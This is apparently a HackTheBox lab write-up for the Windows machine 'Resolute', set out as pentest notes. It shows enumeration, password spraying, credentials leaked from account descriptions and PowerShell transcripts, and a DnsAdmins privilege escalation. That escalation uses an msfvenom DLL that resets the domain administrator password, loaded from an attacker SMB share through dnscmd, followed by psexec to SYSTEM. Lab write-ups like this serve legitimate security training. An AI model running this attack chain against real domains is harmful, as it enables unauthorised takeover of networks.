HackTheBox · Lab
MediumWindowsActive DirectoryPrivilege Escalation

NOTES

ENUMERATION

### NMAP


```shell
PORT      STATE SERVICE      VERSION
53/tcp    open  tcpwrapped
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-29 16:01:02Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49688/tcp open  msrpc        Microsoft Windows RPC
49910/tcp open  msrpc        Microsoft Windows RPC
50743/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-08-29T16:01:55
|_  start_date: 2025-08-29T15:33:56
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2025-08-29T09:01:51-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h27m00s, deviation: 4h02m29s, median: 6m59s
```


### RPCClient


```shell
rpcclient -U "" -N $IP

rpcclient $> querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail	Name: (null)	Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela	Name: (null)	Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette	Name: (null)	Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika	Name: (null)	Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire	Name: (null)	Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude	Name: (null)	Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount	Name: (null)	Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia	Name: (null)	Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred	Name: (null)	Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo	Name: (null)	Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus	Name: (null)	Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko	Name: Marko Novak	Desc: Account created. Password set to 
Welcome123!

index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie	Name: (null)	Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki	Name: (null)	Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo	Name: (null)	Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per	Name: (null)	Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan	Name: Ryan Bertrand	Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally	Name: (null)	Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon	Name: (null)	Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve	Name: (null)	Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie	Name: (null)	Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita	Name: (null)	Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf	Name: (null)	Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach	Name: (null)	Desc: (null)
```


### Password Found

- marko:Welcome123!

### Password spray with found password creds


```shell
nxc smb $IP -u valid_users -p passwords
SMB         10.10.10.169    445    RESOLUTE         [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         
[+] megabank.local\melanie:Welcome123!
```


### Password Match found

- melanie:Welcome123!

---

FOOTHOLD

### Evil-WinRM with credential set


### Enumeration


```powershell
Get-ChildItem -Path C:\ -Recurse -File -Force -Filter "*powershell*.txt" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName

C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
```


### File


```powershell
type \PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

....SNIP... value="cmd /c net use X: \\fs01\backups ryan 
Serv3r4Admin4cc123
!
```


### Password Found

- ryan:Serv3r4Admin4cc123!

---

PRIVILEGE ESCALATION

### Ryan is a member of DnsAdmins


```powershell
whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group

MEGABANK\DnsAdmins
                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
```


### DnsAdmin Attack!


Malicious DLL


```shell
msfvenom -p windows/x64/exec CMD="net user administrator Password123! /domain" -f dll -o nrg.dll
```


Transfer file


```shell
sudo smbserver.py share ./
```


Injecting file and restarting dns


```shell
cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.5\share\nrg.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1860
        FLAGS              :
```


### PSEXEC with new administrator credentials


---

SYSTEM OWNAGE

### Ownage


```shell
psexec.py $DOMAIN/$USER:$PASS@$IP

C:\Windows\system32> whoami
nt authority\system
```

CLEANUP

WEB SERVICE TECHNOLOGY

WEB

NIKTO

WFUZZ / GOBUSTER

### FILES


### DIRS


### SUBDIRS


### VHOSTS

SCOPE

IP HOSTNAME DOMAIN NAME OS
10.10.10.169 RESOLUTE megabank.local Windows 10 / Server 2016 Build 14393 x64

USERS

CREDENTIALS

NMAP

SMB SHARES

OTHER NOTES

LOGS


ⓒ 0xNRG